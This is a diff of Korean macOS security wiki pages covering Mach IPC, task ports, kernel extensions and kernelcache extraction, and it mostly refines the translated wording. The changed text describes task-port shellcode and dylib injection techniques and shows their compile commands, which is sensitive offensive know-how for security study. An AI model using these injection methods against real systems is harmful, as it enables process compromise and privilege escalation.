diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 7b1885043..fd8722259 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -12,7 +12,7 @@ XNU의 오픈 소스 버전: [https://opensource.apple.com/source/xnu/](https:// ### Mach -Mach는 **UNIX 호환**을 위해 설계된 **마이크로커널**입니다. 그 주요 설계 원칙 중 하나는 **커널** 공간에서 실행되는 **코드**의 양을 **최소화**하고 대신 파일 시스템, 네트워킹 및 I/O와 같은 많은 전형적인 커널 기능이 **사용자 수준 작업으로 실행되도록 허용하는 것이었습니다**. +Mach는 **UNIX 호환성**을 위해 설계된 **마이크로커널**입니다. 그 주요 설계 원칙 중 하나는 **커널** 공간에서 실행되는 **코드**의 양을 **최소화**하고 대신 파일 시스템, 네트워킹 및 I/O와 같은 많은 전형적인 커널 기능이 **사용자 수준 작업으로 실행되도록 허용하는** 것이었습니다. XNU에서 Mach는 커널이 일반적으로 처리하는 많은 중요한 저수준 작업, 즉 프로세서 스케줄링, 멀티태스킹 및 가상 메모리 관리 등을 **책임집니다**. @@ -27,9 +27,9 @@ XNU **커널**은 또한 **FreeBSD** 프로젝트에서 파생된 상당량의 - TCP/IP 스택 및 소켓 - 방화벽 및 패킷 필터링 -BSD와 Mach 간의 상호작용을 이해하는 것은 그들의 서로 다른 개념적 프레임워크 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하지만, Mach은 스레드를 기반으로 작동합니다. 이 불일치는 XNU에서 **각 BSD 프로세스를 하나의 Mach 스레드를 포함하는 Mach 작업과 연결하여 조정됩니다**. BSD의 fork() 시스템 호출이 사용될 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 작업 및 스레드 구조를 생성합니다. +BSD와 Mach 간의 상호작용을 이해하는 것은 그들의 서로 다른 개념적 프레임워크 때문에 복잡할 수 있습니다. 예를 들어, BSD는 프로세스를 기본 실행 단위로 사용하지만 Mach은 스레드를 기반으로 작동합니다. 이 불일치는 **각 BSD 프로세스를 하나의 Mach 스레드를 포함하는 Mach 작업과 연결함으로써 XNU에서 조정됩니다**. BSD의 fork() 시스템 호출이 사용될 때, 커널 내의 BSD 코드는 Mach 함수를 사용하여 작업 및 스레드 구조를 생성합니다. -게다가, **Mach과 BSD는 각각 다른 보안 모델을 유지합니다**: **Mach의** 보안 모델은 **포트 권한**에 기반하고, BSD의 보안 모델은 **프로세스 소유권**에 기반합니다. 이 두 모델 간의 차이로 인해 때때로 로컬 권한 상승 취약점이 발생했습니다. 일반적인 시스템 호출 외에도 **사용자 공간 프로그램이 커널과 상호작용할 수 있도록 하는 Mach 트랩**도 있습니다. 이러한 다양한 요소들이 함께 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다. +게다가, **Mach와 BSD는 각각 다른 보안 모델을 유지합니다**: **Mach의** 보안 모델은 **포트 권한**에 기반하고, BSD의 보안 모델은 **프로세스 소유권**에 기반합니다. 이 두 모델 간의 차이로 인해 때때로 로컬 권한 상승 취약점이 발생했습니다. 일반적인 시스템 호출 외에도 **사용자 공간 프로그램이 커널과 상호작용할 수 있도록 하는 Mach 트랩**도 있습니다. 이러한 다양한 요소들이 함께 macOS 커널의 다면적이고 하이브리드 아키텍처를 형성합니다. ### I/O Kit - 드라이버 diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md index e4b8e3545..0b38c5e89 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md @@ -6,11 +6,11 @@ ### 기본 정보 -Mach는 **작업**을 **자원 공유를 위한 가장 작은 단위**로 사용하며, 각 작업은 **여러 스레드**를 포함할 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑됩니다**. +Mach는 **작업**을 **자원을 공유하기 위한 가장 작은 단위**로 사용하며, 각 작업은 **여러 스레드**를 포함할 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑됩니다**. 작업 간의 통신은 Mach Inter-Process Communication (IPC)을 통해 이루어지며, 단방향 통신 채널을 활용합니다. **메시지는 포트 간에 전송되며**, 이는 커널에 의해 관리되는 **메시지 큐**처럼 작용합니다. -각 프로세스는 **IPC 테이블**을 가지고 있으며, 여기에서 **프로세스의 mach 포트**를 찾을 수 있습니다. mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다. +각 프로세스는 **IPC 테이블**을 가지고 있으며, 그 안에서 **프로세스의 mach 포트**를 찾을 수 있습니다. mach 포트의 이름은 실제로 숫자(커널 객체에 대한 포인터)입니다. 프로세스는 또한 **다른 작업**에 포트 이름과 일부 권한을 보낼 수 있으며, 커널은 **다른 작업의 IPC 테이블**에 이 항목을 나타나게 합니다. @@ -22,11 +22,11 @@ Mach는 **작업**을 **자원 공유를 위한 가장 작은 단위**로 사용 - **수신 권한**을 가진 작업은 메시지를 수신하고 **전송 권한을 생성**할 수 있어 메시지를 보낼 수 있습니다. 원래는 **자신의 작업만이 자신의 포트에 대한 수신 권한을 가집니다**. - **전송 권한**: 포트로 메시지를 전송할 수 있게 해줍니다. - 전송 권한은 **복제**될 수 있어, 전송 권한을 가진 작업이 권한을 복제하고 **세 번째 작업에 부여**할 수 있습니다. -- **일회성 전송 권한**: 포트로 하나의 메시지를 전송하고 나면 사라집니다. +- **일회성 전송 권한**: 포트로 한 메시지를 전송하고 나면 사라집니다. - **포트 집합 권한**: 단일 포트가 아닌 _포트 집합_을 나타냅니다. 포트 집합에서 메시지를 제거하면 그 집합에 포함된 포트 중 하나에서 메시지가 제거됩니다. 포트 집합은 여러 포트에서 동시에 수신하는 데 사용될 수 있으며, Unix의 `select`/`poll`/`epoll`/`kqueue`와 유사합니다. -- **죽은 이름**: 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면 해당 포트에 대한 모든 기존 포트 권한이 죽은 이름으로 변환됩니다. +- **죽은 이름**: 실제 포트 권한이 아니라 단순한 자리 표시자입니다. 포트가 파괴되면, 해당 포트에 대한 모든 기존 포트 권한은 죽은 이름으로 변환됩니다. -**작업은 다른 작업에 SEND 권한을 전송할 수 있어**, 메시지를 다시 보낼 수 있게 합니다. **SEND 권한도 복제될 수 있어, 작업이 권한을 복제하고 세 번째 작업에 부여할 수 있습니다**. 이는 **부트스트랩 서버**라는 중개 프로세스와 결합되어 작업 간의 효과적인 통신을 가능하게 합니다. +**작업은 다른 작업에 SEND 권한을 전송할 수 있어**, 메시지를 다시 보낼 수 있게 합니다. **SEND 권한은 또한 복제될 수 있어, 작업이 권한을 복제하고 세 번째 작업에 부여할 수 있습니다**. 이는 **부트스트랩 서버**라는 중개 프로세스와 결합되어 작업 간의 효과적인 통신을 가능하게 합니다. ### 파일 포트 @@ -39,21 +39,21 @@ Mach는 **작업**을 **자원 공유를 위한 가장 작은 단위**로 사용 언급된 바와 같이, 통신 채널을 설정하기 위해 **부트스트랩 서버**(**launchd** in mac)가 관여합니다. 1. 작업 **A**가 **새 포트**를 초기화하고, 이 과정에서 **수신 권한**을 얻습니다. -2. 작업 **A**는 수신 권한의 보유자로서 **포트에 대한 전송 권한을 생성**합니다. +2. 작업 **A**는 수신 권한의 보유자로서, **포트에 대한 전송 권한을 생성**합니다. 3. 작업 **A**는 **부트스트랩 서버**와 **연결**을 설정하고, **포트의 서비스 이름**과 **전송 권한**을 부트스트랩 등록이라는 절차를 통해 제공합니다. 4. 작업 **B**는 **부트스트랩 서버**와 상호작용하여 서비스 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면, **서버는 작업 A로부터 받은 전송 권한을 복제하여 작업 B에 전송**합니다. -5. SEND 권한을 획득한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다. +5. 전송 권한을 획득한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다. 6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **전송 권한을 작업 A에 부여**하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). 부트스트랩 서버는 작업이 주장하는 서비스 이름을 **인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **모든 시스템 작업을 가장할 수 있음을 의미합니다**, 예를 들어 잘못된 **인증 서비스 이름을 주장하고 모든 요청을 승인하는 경우**입니다. -그런 다음 Apple은 **시스템 제공 서비스의 이름**을 보안 구성 파일에 저장하며, 이 파일은 **SIP 보호** 디렉토리에 위치합니다: `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`. 각 서비스 이름과 함께 **연관된 바이너리도 저장됩니다**. 부트스트랩 서버는 이러한 서비스 이름 각각에 대해 **수신 권한을 생성하고 보유**합니다. +그런 다음 Apple은 **시스템 제공 서비스의 이름**을 보안 구성 파일에 저장하며, 이 파일은 **SIP 보호** 디렉토리에 위치합니다: `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`. 각 서비스 이름과 함께 **연관된 바이너리도 저장됩니다**. 부트스트랩 서버는 이러한 서비스 이름 각각에 대해 **수신 권한을 생성하고 유지**합니다. 이러한 미리 정의된 서비스에 대해 **조회 프로세스는 약간 다릅니다**. 서비스 이름이 조회될 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다: - 작업 **B**가 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다. - **launchd**는 작업이 실행 중인지 확인하고, 실행 중이 아니면 **시작**합니다. -- 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 전송 권한을 생성하고 이를 보유하며, **수신 권한을 작업 A에 전송**합니다. +- 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 전송 권한을 생성하고 이를 유지하며, **수신 권한을 작업 A에 전송**합니다. - launchd는 **전송 권한을 복제하여 작업 B에 전송**합니다. - 작업 **B**는 **수신** 권한과 **전송** 권한을 가진 새 포트를 생성하고, **전송 권한을 작업 A**(svc)에 부여하여 작업 B에 메시지를 보낼 수 있게 합니다(양방향 통신). @@ -61,7 +61,7 @@ Mach는 **작업**을 **자원 공유를 위한 가장 작은 단위**로 사용 ### Mach 메시지 -[자세한 정보는 여기서 찾으세요](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) +[여기에서 더 많은 정보 찾기](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) `mach_msg` 함수는 본질적으로 시스템 호출로, Mach 메시지를 전송하고 수신하는 데 사용됩니다. 이 함수는 전송할 메시지를 첫 번째 인수로 요구합니다. 이 메시지는 `mach_msg_header_t` 구조체로 시작해야 하며, 그 뒤에 실제 메시지 내용이 이어져야 합니다. 구조체는 다음과 같이 정의됩니다: ```c @@ -74,24 +74,24 @@ mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t; ``` -프로세스는 _**수신 권한**_을 가지고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로, **발신자**는 _**전송**_ 또는 _**일회성 전송 권한**_을 부여받습니다. 일회성 전송 권한은 단일 메시지를 전송하는 데만 사용되며, 그 후에는 무효가 됩니다. +프로세스는 _**receive right**_을 소유하고 있으면 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로, **senders**는 _**send**_ 또는 _**send-once right**_을 부여받습니다. send-once right는 단일 메시지를 보내기 위해 독점적으로 사용되며, 그 후에는 무효가 됩니다. -쉬운 **양방향 통신**을 달성하기 위해 프로세스는 메시지의 **mach 메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)로 지정된 **mach 포트**를 설정할 수 있으며, 여기서 **메시지 수신자**는 이 메시지에 대한 **응답을 보낼 수** 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **일회성 전송** **권한**이 파생되고 전송되어야 함을 **지시**하는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +쉬운 **bi-directional communication**을 달성하기 위해 프로세스는 _reply port_ (**`msgh_local_port`**)라고 불리는 mach **message header**에서 **mach port**를 지정할 수 있습니다. 여기서 메시지의 **receiver**는 이 메시지에 대한 **reply**를 보낼 수 있습니다. **`msgh_bits`**의 비트 플래그는 이 포트에 대해 **send-once** **right**가 파생되고 전송되어야 함을 **indicate**하는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> 이와 같은 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용된다는 점에 유의하십시오 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로는 이전에 설명한 대로** 양방향 통신을 생성하기 위해 **다른 포트가 생성됩니다**. +> 이와 같은 bi-directional communication은 replay를 기대하는 XPC 메시지에서 사용된다는 점에 유의하십시오 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 서로 다른 포트가 생성됩니다**. 이는 이전에 설명한 바와 같이 bi-directional communication을 생성하기 위해서입니다. 메시지 헤더의 다른 필드는 다음과 같습니다: - `msgh_size`: 전체 패킷의 크기. - `msgh_remote_port`: 이 메시지가 전송되는 포트. -- `msgh_voucher_port`: [mach 바우처](https://robert.sesek.com/2023/6/mach_vouchers.html). +- `msgh_voucher_port`: [mach vouchers](https://robert.sesek.com/2023/6/mach_vouchers.html). - `msgh_id`: 수신자가 해석하는 이 메시지의 ID. > [!CAUTION] -> **mach 메시지는 \_mach 포트**\_를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자**, **다수 발신자** 통신 채널입니다. **여러 프로세스**가 mach 포트에 **메시지를 전송**할 수 있지만, 언제든지 **단일 프로세스만 읽을 수** 있습니다. +> **mach messages는 \_mach port**\_를 통해 전송됩니다. 이는 mach 커널에 내장된 **단일 수신자**, **다수의 발신자** 통신 채널입니다. **여러 프로세스**가 mach 포트에 **메시지를 보낼 수 있지만**, 언제든지 **단일 프로세스만 읽을 수 있습니다**. -### 포트 나열 +### Enumerate ports ```bash lsmp -p ``` @@ -227,16 +227,16 @@ printf("Sent a message\n"); ### 특권 포트 -- **호스트 포트**: 프로세스가 이 포트에 대해 **Send** 권한을 가지면 **시스템**에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`). +- **호스트 포트**: 프로세스가 이 포트에 대해 **Send** 권한을 가지고 있다면 **시스템**에 대한 **정보**를 얻을 수 있습니다 (예: `host_processor_info`). - **호스트 특권 포트**: 이 포트에 대해 **Send** 권한이 있는 프로세스는 커널 확장을 로드하는 것과 같은 **특권 작업**을 수행할 수 있습니다. 이 권한을 얻으려면 **프로세스가 루트여야** 합니다. - 또한, **`kext_request`** API를 호출하려면 **`com.apple.private.kext*`**와 같은 다른 권한이 필요하며, 이는 Apple 바이너리에게만 부여됩니다. -- **작업 이름 포트**: _작업 포트_의 비특권 버전입니다. 작업을 참조하지만 이를 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 `task_info()`입니다. -- **작업 포트** (또는 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 작업을 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등). +- **작업 이름 포트:** _작업 포트_의 비특권 버전입니다. 작업을 참조하지만 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 `task_info()`입니다. +- **작업 포트** (일명 커널 포트)**:** 이 포트에 대한 Send 권한이 있으면 작업을 제어할 수 있습니다 (메모리 읽기/쓰기, 스레드 생성 등). - `mach_task_self()`를 호출하여 호출자 작업에 대한 이 포트의 **이름**을 얻습니다. 이 포트는 **`exec()`**를 통해서만 **상속**됩니다; `fork()`로 생성된 새로운 작업은 새로운 작업 포트를 얻습니다 (특별한 경우로, suid 바이너리에서 `exec()` 후 작업도 새로운 작업 포트를 얻습니다). 작업을 생성하고 그 포트를 얻는 유일한 방법은 `fork()`를 수행하면서 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)를 수행하는 것입니다. - 포트에 접근하기 위한 제한 사항은 다음과 같습니다 (바이너리 `AppleMobileFileIntegrity`의 `macos_task_policy`에서): -- 앱이 **`com.apple.security.get-task-allow` 권한**을 가지고 있으면 **같은 사용자**의 프로세스가 작업 포트에 접근할 수 있습니다 (일반적으로 디버깅을 위해 Xcode에 의해 추가됨). **노타리제이션** 프로세스는 이를 프로덕션 릴리스에서 허용하지 않습니다. +- 앱이 **`com.apple.security.get-task-allow` 권한**을 가지고 있다면 **같은 사용자**의 프로세스가 작업 포트에 접근할 수 있습니다 (일반적으로 디버깅을 위해 Xcode에 의해 추가됨). **노타리제이션** 프로세스는 이를 프로덕션 릴리스에서 허용하지 않습니다. - **`com.apple.system-task-ports`** 권한이 있는 앱은 **커널을 제외한 모든** 프로세스의 **작업 포트**를 얻을 수 있습니다. 이전 버전에서는 **`task_for_pid-allow`**라고 불렸습니다. 이는 Apple 애플리케이션에만 부여됩니다. -- **루트는** **하드닝**된 런타임으로 컴파일되지 않은 애플리케이션의 작업 포트에 접근할 수 있습니다 (Apple에서 제공하지 않음). +- **루트는** **하드닝** 런타임으로 컴파일되지 않은 애플리케이션의 작업 포트에 접근할 수 있습니다 (Apple에서 제공하지 않음). ### 작업 포트를 통한 스레드에서의 셸코드 주입 @@ -498,15 +498,15 @@ return 0; gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` -### 스레드에서 Task 포트를 통한 Dylib 주입 +### 스레드를 통한 Dylib 주입 via Task port macOS에서 **스레드**는 **Mach** 또는 **posix `pthread` api**를 사용하여 조작할 수 있습니다. 이전 주입에서 생성한 스레드는 Mach api를 사용하여 생성되었으므로 **posix 호환성이 없습니다**. -**단순한 셸코드**를 주입하여 명령을 실행할 수 있었던 이유는 **posix** 호환 api와 작업할 필요가 없었기 때문이며, 오직 Mach과만 작업하면 되었습니다. **더 복잡한 주입**은 **스레드**가 또한 **posix 호환성**을 가져야 합니다. +**posix** 호환 api와 작업할 필요가 없었기 때문에 **명령을 실행하기 위한 간단한 셸코드**를 **주입하는 것이 가능했습니다**. **더 복잡한 주입**은 **스레드**가 또한 **posix 호환**이어야 합니다. -따라서 **스레드**를 **개선하기 위해** **`pthread_create_from_mach_thread`**를 호출해야 하며, 이는 **유효한 pthread**를 생성합니다. 그런 다음, 이 새로운 pthread는 **dlopen**을 호출하여 시스템에서 **dylib**를 **로드**할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다. +따라서 **스레드를 개선하기 위해** **`pthread_create_from_mach_thread`**를 호출해야 하며, 이는 **유효한 pthread**를 생성합니다. 그런 다음, 이 새로운 pthread는 **dlopen**을 호출하여 시스템에서 **dylib**를 **로드**할 수 있으므로, 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다. -**예제 dylibs**는 (예를 들어 로그를 생성하고 이를 들을 수 있는 것) 다음에서 찾을 수 있습니다: +**예제 dylibs**는 (예를 들어 로그를 생성한 다음 이를 수신할 수 있는 것)에서 찾을 수 있습니다: {{#ref}} ../../macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -804,7 +804,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector XPC는 macOS와 iOS에서 프로세스 간 통신을 위한 프레임워크로, XNU(맥OS에서 사용되는 커널)를 의미합니다. XPC는 시스템의 서로 다른 프로세스 간에 **안전하고 비동기적인 메서드 호출**을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 **구성 요소**가 작업을 수행하는 데 필요한 **권한만**으로 실행되는 **특권 분리 애플리케이션**의 생성을 가능하게 하여, 손상된 프로세스로 인한 잠재적 피해를 제한합니다. -이 **통신이 어떻게 작동하는지** 및 **어떻게 취약할 수 있는지**에 대한 자세한 정보는 다음을 확인하세요: +이 **통신이 어떻게 작동하는지** 및 **어떻게 취약할 수 있는지**에 대한 더 많은 정보는 다음을 확인하세요: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/ @@ -812,9 +812,9 @@ XPC는 macOS와 iOS에서 프로세스 간 통신을 위한 프레임워크로, ## MIG - Mach 인터페이스 생성기 -MIG는 **Mach IPC** 코드 생성을 **단순화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신하는 데 필요한 코드를 **생성**합니다. 생성된 코드가 보기 좋지 않더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다. +MIG는 **Mach IPC** 코드 생성을 **단순화하기 위해** 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신하는 데 필요한 코드를 **생성합니다**. 생성된 코드가 보기 좋지 않더라도, 개발자는 이를 가져오기만 하면 그의 코드는 이전보다 훨씬 간단해질 것입니다. -자세한 정보는 다음을 확인하세요: +더 많은 정보는 다음을 확인하세요: {{#ref}} ../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md index 6b59c95aa..198f65a18 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md @@ -4,25 +4,25 @@ ## 기본 정보 -커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 운영 체제에 추가 기능을 제공합니다. +커널 확장(Kexts)은 **`.kext`** 확장자를 가진 **패키지**로, **macOS 커널 공간에 직접 로드**되어 주요 운영 체제에 추가 기능을 제공합니다. ### 요구 사항 명백히, 이것은 매우 강력하여 **커널 확장을 로드하는 것이 복잡합니다**. 커널 확장이 로드되기 위해 충족해야 할 **요구 사항**은 다음과 같습니다: -- **복구 모드**에 **진입할 때**, 커널 **확장이 로드될 수 있어야** 합니다: +- **복구 모드**에 **진입할 때**, 커널 **확장이 로드될 수 있도록 허용되어야** 합니다:
-- 커널 확장은 **커널 코드 서명 인증서로 서명**되어야 하며, 이는 **Apple에 의해 부여**될 수 있습니다. 회사와 필요 이유를 자세히 검토할 것입니다. -- 커널 확장은 또한 **노타리제이션**되어야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다. -- 그런 다음, **root** 사용자만이 **커널 확장을 로드**할 수 있으며, 패키지 내의 파일은 **root에 속해야** 합니다. +- 커널 확장은 **커널 코드 서명 인증서로 서명되어야** 하며, 이는 **Apple에 의해 부여될 수 있습니다**. 회사와 필요 이유를 자세히 검토할 것입니다. +- 커널 확장은 또한 **노타리제이션**을 받아야 하며, Apple은 이를 악성 소프트웨어에 대해 검사할 수 있습니다. +- 그런 다음, **root** 사용자만이 **커널 확장을 로드할 수** 있으며, 패키지 내의 파일은 **root에 속해야** 합니다. - 업로드 과정에서 패키지는 **보호된 비루트 위치**에 준비되어야 합니다: `/Library/StagedExtensions` (requires the `com.apple.rootless.storage.KernelExtensionManagement` grant). - 마지막으로, 로드하려고 시도할 때, 사용자는 [**확인 요청을 받게**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) 되며, 수락되면 컴퓨터는 **재시작**되어야 합니다. ### 로드 프로세스 -Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청**할 수 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` +Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용자 공간**에서 발생한다는 점이 흥미롭습니다. 그러나 **`com.apple.private.security.kext-management`** 권한이 있는 애플리케이션만이 **커널에 확장을 로드하도록 요청할 수** 있습니다: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` 1. **`kextutil`** cli가 **확장을 로드하기 위한 검증** 프로세스를 **시작**합니다. - **Mach 서비스**를 사용하여 **`kextd`**와 통신합니다. @@ -30,7 +30,7 @@ Catalina에서는 다음과 같았습니다: **검증** 프로세스가 **사용 - **`syspolicyd`**와 통신하여 확장이 **로드될 수 있는지 확인**합니다. 3. **`syspolicyd`**는 확장이 이전에 로드되지 않았다면 **사용자에게 요청**합니다. - **`syspolicyd`**는 결과를 **`kextd`**에 보고합니다. -4. **`kextd`**는 결국 **커널에 확장을 로드하라고 지시**할 수 있습니다. +4. **`kextd`**는 결국 **커널에 확장을 로드하라고 지시할 수** 있습니다. **`kextd`**가 사용 불가능한 경우, **`kextutil`**이 동일한 검사를 수행할 수 있습니다. @@ -45,9 +45,9 @@ kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1 ## Kernelcache > [!CAUTION] -> 커널 확장 프로그램은 `/System/Library/Extensions/`에 있어야 하지만, 이 폴더에 가면 **이진 파일을 찾을 수 없습니다**. 이는 **kernelcache** 때문이며, 하나의 `.kext`를 리버스 엔지니어링하려면 이를 얻는 방법을 찾아야 합니다. +> 커널 확장 프로그램은 `/System/Library/Extensions/`에 있어야 하지만, 이 폴더에 가면 **이진 파일을 찾을 수 없습니다**. 이는 **kernelcache** 때문이며, `.kext`를 리버스 엔지니어링하려면 이를 얻는 방법을 찾아야 합니다. -**kernelcache**는 **XNU 커널의 미리 컴파일되고 미리 링크된 버전**과 필수 장치 **드라이버** 및 **커널 확장**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 과정 중 메모리로 압축 해제됩니다. kernelcache는 커널과 중요한 드라이버의 실행 준비가 된 버전을 제공하여 **부팅 시간을 단축**시키고, 부팅 시 이러한 구성 요소를 동적으로 로드하고 링크하는 데 소요되는 시간과 자원을 줄입니다. +**kernelcache**는 **XNU 커널의 미리 컴파일되고 미리 링크된 버전**과 필수 장치 **드라이버** 및 **커널 확장**을 포함합니다. 이는 **압축된** 형식으로 저장되며 부팅 과정 중 메모리로 압축 해제됩니다. kernelcache는 커널과 중요한 드라이버의 실행 준비가 된 버전을 제공하여 **빠른 부팅 시간**을 촉진하며, 부팅 시 이러한 구성 요소를 동적으로 로드하고 링크하는 데 소요되는 시간과 자원을 줄입니다. ### Local Kerlnelcache @@ -85,17 +85,17 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon - [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases) -[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases)에서 모든 커널 디버그 키트를 찾을 수 있습니다. 다운로드하여 마운트하고 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 도구로 열어 **`.kext`** 폴더에 접근하고 **추출**할 수 있습니다. +[https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases)에서 모든 커널 디버그 키트를 찾을 수 있습니다. 다운로드하여 마운트하고 [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html) 도구로 열고 **`.kext`** 폴더에 접근하여 **추출**할 수 있습니다. -다음으로 기호를 확인하세요: +기호를 확인하려면: ```bash nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l ``` - [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/) -가끔 Apple은 **kernelcache**를 **symbols**와 함께 출시합니다. 이러한 페이지의 링크를 따라 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다. +가끔 Apple은 **kernelcache**와 **symbols**를 함께 배포합니다. 이러한 페이지의 링크를 따라 **symbols**가 포함된 일부 펌웨어를 다운로드할 수 있습니다. 펌웨어에는 다른 파일들 중에 **kernelcache**가 포함되어 있습니다. -파일을 **extract**하려면 `.ipsw` 확장자를 `.zip`으로 변경하고 **unzip**합니다. +파일을 **추출**하려면 `.ipsw` 확장자를 `.zip`으로 변경한 후 **압축을 풉니다**. 펌웨어를 추출한 후에는 **`kernelcache.release.iphone14`**와 같은 파일을 얻게 됩니다. 이는 **IMG4** 형식이며, 다음을 사용하여 흥미로운 정보를 추출할 수 있습니다: diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md index 9c2108fc7..bcfe54fe7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md @@ -19,7 +19,7 @@ DriverKit은 **하드웨어 지원**을 제공하는 커널 확장의 대체물 Network Extensions는 네트워크 동작을 사용자 정의할 수 있는 기능을 제공합니다. 여러 유형의 Network Extensions가 있습니다: - **App Proxy**: 흐름 지향의 사용자 정의 VPN 프로토콜을 구현하는 VPN 클라이언트를 생성하는 데 사용됩니다. 이는 개별 